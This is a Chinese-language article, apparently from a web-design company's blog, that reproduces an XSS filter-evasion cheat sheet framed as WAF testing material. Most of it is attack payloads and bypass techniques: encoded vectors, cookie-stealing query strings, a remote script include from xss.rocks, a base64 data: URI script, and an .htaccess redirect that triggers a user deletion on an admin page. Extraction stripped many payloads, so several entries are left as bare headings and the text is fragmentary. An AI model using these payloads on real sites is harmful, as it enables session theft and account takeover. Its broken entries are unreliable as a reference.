今天就跟大家聊聊有關(guān)如何繞過(guò)XSS的防護(hù),可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
創(chuàng)新互聯(lián)成立10年來(lái),這條路我們正越走越好,積累了技術(shù)與客戶資源,形成了良好的口碑。為客戶提供成都網(wǎng)站制作、網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站策劃、網(wǎng)頁(yè)設(shè)計(jì)、域名與空間、網(wǎng)絡(luò)營(yíng)銷、VI設(shè)計(jì)、網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。網(wǎng)站是否美觀、功能強(qiáng)大、用戶體驗(yàn)好、性價(jià)比高、打開(kāi)快等等,這些對(duì)于網(wǎng)站建設(shè)都非常重要,創(chuàng)新互聯(lián)通過(guò)對(duì)建站技術(shù)性的掌握、對(duì)創(chuàng)意設(shè)計(jì)的研究為客戶提供一站式互聯(lián)網(wǎng)解決方案,攜手廣大客戶,共同發(fā)展進(jìn)步。
下面列出了一系列XSS攻擊,可用于繞過(guò)某些XSS防御filter。針對(duì)輸入進(jìn)行過(guò)濾是不完全是XSS的防御方法,可以使用這些payload來(lái)測(cè)試網(wǎng)站在防護(hù)XSS攻擊方面的能力,希望你的WAF產(chǎn)品能攔截下面所有的payload。
XSS攻擊原理:
攻擊者向有XSS漏洞的網(wǎng)站中置入精心構(gòu)造惡意的HTML代碼,當(dāng)用戶瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。
XSS攻擊可以分成兩種類型:一種是非持久型XSS攻擊 一種是持久型XSS攻擊。
反射型:請(qǐng)求地址上加入惡心的HTML代碼。
dom型:api向網(wǎng)站注入一些惡意的HTML代碼
持久性:攻擊者把惡意代碼提交到后臺(tái)數(shù)據(jù)庫(kù)中,當(dāng)用戶下次打開(kāi)的時(shí)候就會(huì)從后臺(tái)接收這些惡意的代碼。
防范:
前端通過(guò)轉(zhuǎn)義來(lái)進(jìn)行防范和過(guò)濾
后端主要是通過(guò)WAF正則+OWASP規(guī)則+XSS語(yǔ)義分析+機(jī)器學(xué)習(xí)payload特征進(jìn)行防衛(wèi)。
普通的XSS JavaScript注入:
很可能會(huì)被過(guò)濾,建議先嘗試一下(現(xiàn)代瀏覽器中都不需要引號(hào),因此此處將其省略)
XSS有效負(fù)載,該測(cè)試將在多個(gè)上下文中執(zhí)行,包括html,腳本字符串,js和url:
javascript:/*-->
使用JavaScript指令的IMG SRC XSS,注: IE7.0在圖像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:
沒(méi)有引號(hào)也沒(méi)分號(hào)情況:
大小寫(xiě)混淆的 XSS攻擊payload:
HTML實(shí)體,必須使用分號(hào):
同時(shí)使用雙引號(hào)和單引號(hào),則可以使用重音符來(lái)封裝JavaScript字符串,因?yàn)樵S多跨站點(diǎn)腳本過(guò)濾器都不知道重音符:
畸形的a標(biāo)簽,跳過(guò)HREF屬性:
Chrome瀏覽器喜歡為替換丟失的引號(hào),Chrome會(huì)將其放在正確的位置,并在URL或腳本上修復(fù)丟失的引號(hào)。
格式錯(cuò)誤的IMG標(biāo)簽,封裝在引號(hào)中的IMG標(biāo)簽內(nèi)創(chuàng)建我們的XSS矢量,為了糾正草率的編碼。這將使正確解析HTML標(biāo)記變得更加困難:
">
fromCharCode源字符碼,不允許任何類型的引號(hào),可以在JavaScript中eval()a fromCharCode來(lái)創(chuàng)建所需的XSS向量:
默認(rèn)SRC標(biāo)記可獲取過(guò)去檢查SRC域名的filter,這將繞過(guò)大多數(shù)SRC域過(guò)濾器。在事件方法中插入javascript還將適用于任何使用Form,Iframe,Input,Embed等元素的HTML標(biāo)記類型注入。這還將允許您將標(biāo)記類型的任何相關(guān)事件替換為onblur
,onclick
從而為您提供大量的這里列出的許多注射的變化:
保留默認(rèn)的SRC標(biāo)簽為空:
Default SRC tag by leaving it out entirely,完全忽略src:
錯(cuò)誤提示 onerror alert:
IMG onerror and javascript alert 編碼:
Decimal HTML character references,十進(jìn)制字符引用,在標(biāo)記內(nèi)使用javascript:指令的所有XSS示例都無(wú)法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中運(yùn)行):
十進(jìn)制html字符引用,without trailing semicolons,同上+沒(méi)有尾隨分號(hào),這在嘗試查找“&#XX;”的XSS中通常很有效,因?yàn)榇蠖鄶?shù)人都不了解填充-總共最多7個(gè)數(shù)字字符。這對(duì)于使用$ tmp_string =?s /.*\(\ d +);。* / $ 1 /;等字符串進(jìn)行解碼的人也很有用。這錯(cuò)誤地假設(shè)需要使用分號(hào)來(lái)終止html編碼的字符串:
十六進(jìn)制html字符引用,without trailing semicolons,不帶尾部分號(hào):
嵌入標(biāo)簽,用于破壞跨站點(diǎn)腳本攻擊:
嵌入編碼標(biāo)簽,用于分解XSS:
嵌入換行分解XSS:
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details
嵌入carriage返回分解 XSS:
\x0D是十六進(jìn)制,也就是13所對(duì)就在的ASCII碼字符,也就是回車(chē)符
null分解js指令,但是空字符%00更有用,它幫助我繞過(guò)了某些現(xiàn)實(shí)世界的過(guò)濾器:
perl -e 'print "";' > out
XSS圖像中JavaScript之前的空格和元字符:
錯(cuò)誤地假設(shè)引號(hào)和“javascript:”關(guān)鍵字之間不能有空格,則這非常有用。實(shí)際情況是,您可以使用小數(shù)點(diǎn)后1-32之間的任何字符
非字母非數(shù)字XSS:
Firefox HTML解析器假設(shè)非alpha非數(shù)字在HTML關(guān)鍵字后無(wú)效,認(rèn)為它是HTML標(biāo)記后的空白或無(wú)效標(biāo)記。
一些XSS過(guò)濾器假定它們要查找的標(biāo)記被空白分隔開(kāi)。例如“
Gecko呈現(xiàn)引擎允許在事件處理程序和等號(hào)之間使用除字母、數(shù)字或封裝字符(如引號(hào)、尖括號(hào)等)以外的任何字符,從而更容易繞過(guò)跨站點(diǎn)腳本塊。
多余的開(kāi)放括號(hào):
某些檢測(cè)引擎使用成對(duì)的開(kāi)閉尖括號(hào),然后對(duì)標(biāo)簽進(jìn)行比較,
雙斜線注釋了結(jié)束的無(wú)關(guān)括號(hào),以抑制JavaScript錯(cuò)誤。
<
沒(méi)有結(jié)束腳本tag:
在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您實(shí)際上不需要這個(gè)跨站點(diǎn)腳本向量的“>”部分。
Firefox assumes it's safe to close the HTML tag and add closing tags for you。
js tag中的協(xié)議解析:
如果在末尾添加標(biāo)記,Opera中工作,Netscape在IE呈現(xiàn)模式下工作,,
半開(kāi)HTML/JavaScript xss:
與Firefox不同,IE渲染引擎不向頁(yè)面添加額外數(shù)據(jù),但它允許在圖像中使用javascript:指令。
它不需要閉合尖括號(hào),假設(shè)下面有任何HTML標(biāo)記,您將在其中注入此跨站點(diǎn)腳本向量。即使沒(méi)有關(guān)閉“>”標(biāo)簽,下面的標(biāo)簽也會(huì)關(guān)閉它。
Double open angle brackets雙開(kāi)角括號(hào):
在矢末尾使用開(kāi)放尖括號(hào)。
如果沒(méi)有它,F(xiàn)irefox將工作,但Netscape不會(huì)。
INPUT image:
BODY image:
IMG Dynsrc:
IMG lowsrc:
List-style-image:
處理為項(xiàng)目符號(hào)列表嵌入圖像的相當(dāng)深?yuàn)W的問(wèn)題,這只適用于IE呈現(xiàn)引擎。不是一個(gè)特別有用的跨站點(diǎn)腳本。
VBscript in an image:
Livescript(僅限舊版本的Netscape):
SVG對(duì)象標(biāo)記:
SVG object tag:
ECMAScript 6:
Set.constructor`alert\x28document.domain\x29```
BODY tag:
不需要使用“javascript:”或“)
onResizeEnd() (用戶將調(diào)整窗口大小;攻擊者可以使用以下內(nèi)容自動(dòng)初始化: )
onResizeStart() (用戶將調(diào)整窗口大??;攻擊者可以使用以下命令自動(dòng)初始化: )
onResume() (onresume事件對(duì)時(shí)間線恢復(fù)時(shí)變?yōu)榛顒?dòng)的每個(gè)元素(包括body元素)觸發(fā))
onReverse() (如果元素的repeatCount大于1,則每次時(shí)間線開(kāi)始向后播放時(shí)都會(huì)觸發(fā)此事件)
onRowsEnter() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)
onRowExit() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)
onRowDelete() (用戶或攻擊者需要?jiǎng)h除數(shù)據(jù)源中的行)
onRowInserted() (用戶或攻擊者需要在數(shù)據(jù)源中插入一行)
onScroll() (用戶需要滾動(dòng),否則攻擊者可以使用scrollBy()函數(shù))
onSeek() (onreverse事件在時(shí)間線設(shè)置為沿除forward以外的任何方向播放時(shí)觸發(fā))
onSelect() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)
onSelectionChange() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)
onSelectStart() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)
onStart() (在每個(gè)選框循環(huán)的開(kāi)始處激發(fā))
onStop() (用戶需要按下停止按鈕或離開(kāi)網(wǎng)頁(yè))
onStorage() (存儲(chǔ)區(qū)域已更改)
onSyncRestored() (用戶中斷元素的播放時(shí)間線定義的媒體的能力)
onSubmit() (需要攻擊者或用戶提交表單)
onTimeError() (用戶或攻擊者將時(shí)間屬性(如dur)設(shè)置為無(wú)效值)
onTrackChange() (用戶或攻擊者更改播放列表中的playlist)
onUndo() (用戶在撤消事務(wù)歷史記錄中返回)
onUnload() (當(dāng)用戶單擊任何鏈接或按下后退按鈕時(shí),攻擊者會(huì)強(qiáng)制單擊)
onURLFlip() (當(dāng)由HTML+TIME(定時(shí)交互式多媒體擴(kuò)展)媒體標(biāo)記播放的高級(jí)流式格式(ASF)文件處理嵌入在ASF文件中的腳本命令時(shí),會(huì)觸發(fā)此事件)
seekSegmentTime() (這是一個(gè)在元素的段時(shí)間線上定位指定點(diǎn)并從該點(diǎn)開(kāi)始播放的方法。該段由一個(gè)重復(fù)的時(shí)間線組成,包括使用AUTOREVERSE屬性的反向播放。)
BGSOUND:
& JavaScript includes:
STYLE sheet:
遠(yuǎn)程樣式表Remote style sheet:
使用像遠(yuǎn)程樣式表這樣簡(jiǎn)單的東西,您可以包括XSS,因?yàn)榭梢允褂们度胧奖磉_(dá)式重新定義樣式參數(shù)。)
這僅在IE和Netscape 8.1+的IE渲染引擎模式下有效。
注意:對(duì)于所有這些遠(yuǎn)程樣式表示例,它們都使用body標(biāo)記,因此除非頁(yè)面上有向量本身以外的其他內(nèi)容,否則無(wú)法工作。
因此,如果頁(yè)面是空白頁(yè)面,則需要向該頁(yè)面添加一個(gè)字母使其工作
遠(yuǎn)程樣式表Remote style sheet2:
工作原理與上述相同,但使用標(biāo)記,則可以將其刪除。
如果在跨站點(diǎn)腳本攻擊中不能有等號(hào)或斜線(在現(xiàn)實(shí)世界中至少出現(xiàn)過(guò)一次),則這非常有用.
遠(yuǎn)程樣式表Remote style sheet3:
這只適用于Opera8.0(不再適用于9.x),但相當(dāng)棘手。根據(jù)RFC2616設(shè)置,鏈接頭不是HTTP1.1規(guī)范的一部分,但是一些瀏覽器仍然允許它(比如Firefox和Opera)。
這里的訣竅是,我設(shè)置了一個(gè)頭(基本上與HTTP頭中的Link:
而帶有跨站點(diǎn)腳本向量的遠(yuǎn)程樣式表正在運(yùn)行JavaScript,這在FireFox中是不受支持的。
遠(yuǎn)程樣式表Remote style sheet4:
這只適用于Gecko渲染引擎,并通過(guò)將XUL文件綁定到父頁(yè)面來(lái)工作。我認(rèn)為諷刺的是,Netscape認(rèn)為Gecko更安全,因此對(duì)絕大多數(shù)網(wǎng)站來(lái)說(shuō)都很脆弱。
帶有用于XSS的分解JavaScript的STYLE標(biāo)記STYLE tags with broken up JavaScript for XSS:
此XSS有時(shí)會(huì)將IE發(fā)送到無(wú)限循環(huán)的警報(bào)中。
STYLE attribute using a comment to break up expression使用注釋拆分表達(dá)式的STYLE屬性:
帶表達(dá)式的IMG樣式:
這實(shí)際上是上述XSS向量的混合,但它確實(shí)顯示了分離樣式標(biāo)記的難度,就像上面所說(shuō)的,這可以將IE發(fā)送到循環(huán)中。
TABLE:
DIV: DIV background-image DIV background-image with unicoded XSS exploit: 這已經(jīng)被稍微修改,以混淆url參數(shù)。 DIV background-image plus extra characters額外字符: 在IE和Netscape 8.1中的安全站點(diǎn)模式下,在開(kāi)括號(hào)之后、JavaScript指令之前允許的任何錯(cuò)誤字符。這些是十進(jìn)制的,但是當(dāng)然可以包括十六進(jìn)制和添加填充。 可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。 DIV expression: 這種方法的一個(gè)變體對(duì)現(xiàn)實(shí)世界中使用冒號(hào)和“表達(dá)式”之間的換行符的跨站點(diǎn)腳本過(guò)濾器是有效的. Downlevel-Hidden block: 僅適用于IE5.0及更高版本,Netscape 8.1適用于IE渲染引擎模式)。有些網(wǎng)站認(rèn)為評(píng)論塊中的任何內(nèi)容都是安全的,因此不需要?jiǎng)h除,這就允許我們使用跨站點(diǎn)腳本。 或者系統(tǒng)可以在某些東西周?chē)砑幼⑨寴?biāo)記,試圖使其無(wú)害化。如我們所見(jiàn),這可能不起作用. BASE tag: 在IE和Netscape 8.1中以安全模式工作。您需要//來(lái)注釋掉下一個(gè)字符,這樣就不會(huì)出現(xiàn)JavaScript錯(cuò)誤,XSS標(biāo)記將呈現(xiàn)。 此外,這依賴于網(wǎng)站使用動(dòng)態(tài)放置的圖像,如“images/image.jpg”,而不是完整路徑。 如果路徑包含一個(gè)前導(dǎo)正斜杠,如“/images/image.jpg”,則可以從該向量中刪除一個(gè)斜杠(只要有兩個(gè)斜杠開(kāi)始注釋,則此操作有效) OBJECT tag: 如果它們?cè)试S對(duì)象,您還可以注入病毒有效負(fù)載以感染用戶等,與APPLET標(biāo)記相同)。鏈接文件實(shí)際上是一個(gè)HTML文件,可以包含您的XSS. 使用嵌入標(biāo)記可以嵌入包含xss的Flash電影: 單擊此處進(jìn)行演示。如果添加allowScriptAccess=“never”和allownetworking=“internal”屬性,則可以降低此風(fēng)險(xiǎn). EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: org/xss.swf" AllowScriptAccess="always"> You can EMBED SVG which can contain your XSS vector: 這個(gè)例子只適用于Firefox,但它比Firefox中的上述向量要好,因?yàn)樗恍枰脩舸蜷_(kāi)或安裝Flash。 在flash中使用ActionScript會(huì)混淆XSS向量: a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d); 帶有CDATA混淆的XML數(shù)據(jù): 此XSS攻擊僅在IE渲染引擎模式下的IE和Netscape 8.1中有效. 使用XML數(shù)據(jù)島生成的嵌入JavaScript的本地托管XML: 這與上面的相同,但引用的是包含跨站點(diǎn)腳本向量的本地托管(必須位于同一服務(wù)器上)XML文件。 HTML+TIME in XML: 這只適用于IE呈現(xiàn)引擎模式下的Internet Explorer和Netscape 8.1,請(qǐng)記住,您需要介于HTML和正文標(biāo)記之間才能工作. 假設(shè)您只能容納幾個(gè)字符,并且它會(huì)過(guò)濾“.js”: 您可以將JavaScript文件重命名為圖像作為XSS向量. SSI (Server Side Includes): 這需要在服務(wù)器上安裝SSI才能使用此XSS向量。我可能不需要提及這一點(diǎn),但如果您可以在服務(wù)器上運(yùn)行命令,無(wú)疑會(huì)出現(xiàn)更嚴(yán)重的問(wèn)題. PHP: 需要在服務(wù)器上安裝PHP才能使用此XSS向量。同樣,如果你能像這樣遠(yuǎn)程運(yùn)行任何腳本,可能會(huì)有更可怕的問(wèn)題. echo(' echo('IPT>alert("XSS")'); ?> IMG Embedded commands: 當(dāng)插入此內(nèi)容的網(wǎng)頁(yè)(如網(wǎng)頁(yè)板)位于密碼保護(hù)之后,并且密碼保護(hù)與同一域上的其他命令一起工作時(shí),此操作有效。 這可用于刪除用戶、添加用戶(如果訪問(wèn)該頁(yè)的用戶是管理員)、將憑據(jù)發(fā)送到其他位置等。。。。這是使用較少但更有用的XSS向量之一. IMG Embedded commands part II: 這更可怕,因?yàn)槌怂辉谀约旱挠蛑兄?,沒(méi)有任何標(biāo)識(shí)使它看起來(lái)可疑。 向量使用302或304(其他也可以)將圖像重定向回命令。 因此,一個(gè)普通的實(shí)際上可能是一個(gè)攻擊向量,作為查看圖像鏈接的用戶運(yùn)行命令。 下面是.htaccess(在Apache下)行來(lái)完成向量. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Cookie 篡改: 不可否認(rèn),這是相當(dāng)模糊的,但我看到了幾個(gè)例子,其中 還有其他一些站點(diǎn)的例子,其中存儲(chǔ)在cookie中的用戶名不是從數(shù)據(jù)庫(kù)中獲取的,而是只顯示給訪問(wèn)頁(yè)面的用戶。 結(jié)合這兩個(gè)場(chǎng)景,您可以修改受害者的cookie,該cookie將以JavaScript的形式顯示給他們 (您還可以使用它來(lái)注銷或更改他們的用戶狀態(tài),讓他們以您的身份登錄,等等)。 UTF-7 encoding: 如果XSS所在的頁(yè)面沒(méi)有提供頁(yè)面字符集頭,或者任何設(shè)置為UTF-7編碼的瀏覽器都可以使用以下內(nèi)容。 單擊此處獲取示例(如果用戶的瀏覽器設(shè)置為“自動(dòng)檢測(cè)”,并且在Internet Explorer和IE呈現(xiàn)引擎模式下的Netscape 8.1中沒(méi)有覆蓋頁(yè)面上的內(nèi)容類型,則不需要charset語(yǔ)句)。 這在任何現(xiàn)代瀏覽器中都無(wú)法工作,除非更改編碼類型,這就是為什么將其標(biāo)記為完全不受支持的原因。Watchfire在Google的自定義404腳本中發(fā)現(xiàn)了這個(gè)漏洞 使用HTML引號(hào)封裝的XSS: 這是IE測(cè)試的,你的里程數(shù)可能會(huì)有所不同。對(duì)于允許“ 用于在允許“ 還有另一個(gè)xs要避開(kāi)同一個(gè)過(guò)濾器,“/ 最后一次XSS攻擊是為了躲避,“/ 下面是一個(gè)XSS示例,它打賭regex不會(huì)捕獲匹配的一對(duì)引號(hào),而是會(huì)找到任何引號(hào)來(lái)不正確地終止參數(shù)字符串. 這個(gè)XSS仍然讓我擔(dān)心,因?yàn)槿绻蛔柚顾谢顒?dòng)內(nèi)容,幾乎不可能停止它. PT SRC="httx://xss.rocks/xss.js"> URL字符串規(guī)避類: 假設(shè)“http://www.google.com/”在語(yǔ)法上是不允許的. IP versus hostname: URL encoding Dword encoding: 注意:還有其他的Dword編碼變體-請(qǐng)參閱下面的IP混淆計(jì)算器以了解更多詳細(xì)信息. Hex encoding十六進(jìn)制: 允許的每個(gè)數(shù)字的總大小大約為240個(gè)字符,如您在第二個(gè)數(shù)字上看到的,并且由于十六進(jìn)制數(shù)字介于0和F之間,因此不需要在第三個(gè)十六進(jìn)制引號(hào)上的前導(dǎo)零). Octal encoding八進(jìn)制: Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...: Base64 encoding: Mixed encoding: 讓我們混合和匹配基本編碼,并加入一些制表符和換行符-為什么瀏覽器允許這樣做,我永遠(yuǎn)不會(huì)知道)。制表符和換行符只有在用引號(hào)封裝時(shí)才起作用。 協(xié)議解析旁路: (//轉(zhuǎn)換為http:/,這將保存更多的字節(jié))。當(dāng)空間也是一個(gè)問(wèn)題時(shí)(少兩個(gè)字符會(huì)有很長(zhǎng)的路要走), 這真的很方便,而且可以輕松地繞過(guò)類似regex的“(ht | f)tp(s)?“//”。 您也可以將“/”改為“\\”。但是,您確實(shí)需要保留斜杠,否則這將被解釋為相對(duì)路徑URL。 Google "feeling lucky" part 1.: Firefox使用Google的“感覺(jué)幸運(yùn)”功能將用戶重定向到你輸入的任何關(guān)鍵詞。 因此,如果你的可利用頁(yè)面是一些隨機(jī)關(guān)鍵字的頂部(如你在這里看到的),你可以對(duì)任何Firefox用戶使用該功能。這使用了Firefox的“keyword:”協(xié)議。 例如,您可以使用如下“keyword:XSS+RSnake”連接多個(gè)關(guān)鍵字。從2.0開(kāi)始,這不再適用于Firefox。 Google "feeling lucky" part 2: 這使用了一個(gè)看起來(lái)只適用于Firefox的非常小的技巧,因?yàn)槿绻恰案杏X(jué)幸運(yùn)”功能的實(shí)現(xiàn)。 與下一個(gè)不同,這在Opera中不起作用,因?yàn)镺pera認(rèn)為這是舊的HTTP基本身份驗(yàn)證仿冒攻擊,而不是。這只是一個(gè)格式錯(cuò)誤的URL。 如果你點(diǎn)擊對(duì)話框上的OK,它將工作,但由于錯(cuò)誤的對(duì)話框,我是說(shuō)Opera不支持此功能,并且從2.0開(kāi)始Firefox不再支持此功能。 Google "feeling lucky" part 3: 這使用了一個(gè)格式錯(cuò)誤的URL,似乎只在Firefox和Opera中有效,因?yàn)槿绻鼈儗?shí)現(xiàn)了“感覺(jué)幸運(yùn)”功能。 像上面所有的這些一樣,它要求你在Google中的關(guān)鍵字是1(在本例中是“Google”)。 Removing cnames: 當(dāng)與上述URL結(jié)合使用時(shí),刪除“www.”將為正確設(shè)置此設(shè)置的服務(wù)器節(jié)省額外的4個(gè)字節(jié),總共節(jié)省9個(gè)字節(jié)。 絕對(duì)DNS的額外點(diǎn): JavaScript link location: 內(nèi)容替換為攻擊向量: 假設(shè)“http://www.google.com/”以編程方式替換為空)。 實(shí)際上,我使用了一個(gè)類似的攻擊向量來(lái)攻擊幾個(gè)獨(dú)立的真實(shí)世界XSS過(guò)濾器, 方法是使用轉(zhuǎn)換過(guò)濾器本身(這里是一個(gè)示例)來(lái)幫助創(chuàng)建攻擊向量 (即:“java ;script:”被轉(zhuǎn)換為“java script:”,它在IE、Netscape 8.1+中以安全站點(diǎn)模式和Opera呈現(xiàn))。 字符轉(zhuǎn)義序列: HTML和JavaScript中字符“<”的所有可能組合。其中大多數(shù)不會(huì)在框外渲染,但其中許多可以在上述特定情況下渲染。 < %3C &lt &lt; &LT &LT; < < < < < < &#60; &#060; &#0060; &#00060; &#000060; &#0000060; < < < < < < &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; < < < < < < &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; < < < < < < &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; < < < < < < &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \x3c \x3C \u003c \u003C 繞過(guò)WAF的方法-跨站點(diǎn)腳本: General issues Stored XSS: 如果攻擊者設(shè)法推動(dòng)XSS通過(guò)過(guò)濾器,WAF將無(wú)法阻止攻擊的傳導(dǎo)。在Javascript中反映XSS. Example: Exploitation: /?xss=500); alert(document.cookie);// DOM-based XSS: Example: Exploitation: /?xss=document.cookie XSS via request Redirection: 通過(guò)請(qǐng)求重定向的XSS。 易受攻擊的代碼. ... header('Location: '.$_GET['param']); ... As well as: ... header('Refresh: 0; URL='.$_GET['param']); ... This request will not pass through the WAF: /?param=javascript:alert(document.cookie) This request will pass through the WAF and an XSS attack will be conducted in certain browsers. /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= WAF ByPass Strings for XSS: ">”>’> "> "> On Mouse Over 其他資訊 |